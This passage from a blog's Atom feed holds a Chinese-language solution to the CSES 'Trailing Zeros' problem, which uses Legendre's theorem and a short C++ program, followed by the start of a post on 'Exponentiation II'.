class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>整除的次數之和。<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>中，</p><ul><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><mn>5</mn></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個</li><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">5^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>2</mn></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5^2}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個</li><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">5^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>3</mn></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5^3}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個<br>等等，於是所求即</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><mn>5</mn></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>2</mn></msup></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mn>3</mn></msup></mfrac><mo stretchy="false">⌋</mo><mo>+</mo><mo>⋯</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mn>5</mn><mi>k</mi></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5}\rfloor+\lfloor\frac{n}{5^2}\rfloor+\lfloor\frac{n}{5^3}\rfloor+\cdots=\sum\limits_{k=1}^\infty\lfloor\frac{n}{5^k}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9535em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">∞</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7751em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><p>此即勒讓德定理(Legendre’s Theorem)：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">!</mo><mo stretchy="false">)</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><msup><mi>p</mi><mi>k</mi></msup></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\nu_{p}(n!)=\sum\limits_{k=1}^\infty\lfloor\frac{n}{p^k}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">!)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9535em;vertical-align:-1.3021em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">∞</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7751em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>表示滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">p^k|x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">x</span></span></span></span>的最大正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>整除幾次)</p><p>在計算時，我們可以用以下性質簡化計算：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>x</mi><mrow><mi>a</mi><mi>b</mi></mrow></mfrac><mo stretchy="false">⌋</mo><mo>=</mo><mo stretchy="false">⌊</mo><mfrac><mrow><mo stretchy="false">⌊</mo><mfrac><mi>x</mi><mi>a</mi></mfrac><mo stretchy="false">⌋</mo></mrow><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor \frac{x}{ab} \rfloor=\lfloor \frac{\lfloor \frac{x}{a}\rfloor}{b} \rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">ab</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.171em;vertical-align:-0.686em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.485em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.735em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span></span></p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">int</span> z <span class="token operator">=</span> n<span class="token punctuation">,</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>z <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    z <span class="token operator">/=</span> <span class="token number">5</span><span class="token punctuation">;</span>    ans <span class="token operator">+=</span> z<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  cout <span class="token operator">&lt;&lt;</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>很簡單吧~</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/01/CSES-Trailing-Zeros-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/01/CSES-Trailing-Zeros-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-01T10:19:36.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ca]]>
    </summary>
    <title>CSES Trailing Zeros 題解</title>
    <updated>2026-06-01T10:19:36.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <content>
      <![CDATA[<blockquote><p>本題會用到上次在<a href="/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"><em><strong>CSES Exponentiation 題解 | R3X’s Blog</strong></em></a>講到的東西，並假設讀者都已看過。</p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to efficiently calculate values <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msup><mi>b</mi><mi>c</mi></msup></msup></mrow><annotation encoding="application/x-tex">a^{b^c}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.88em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.88em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.<br>Note that in this task we assume that <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>0</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">0^0=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of calculations.<br/>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing three integers <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a, b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span 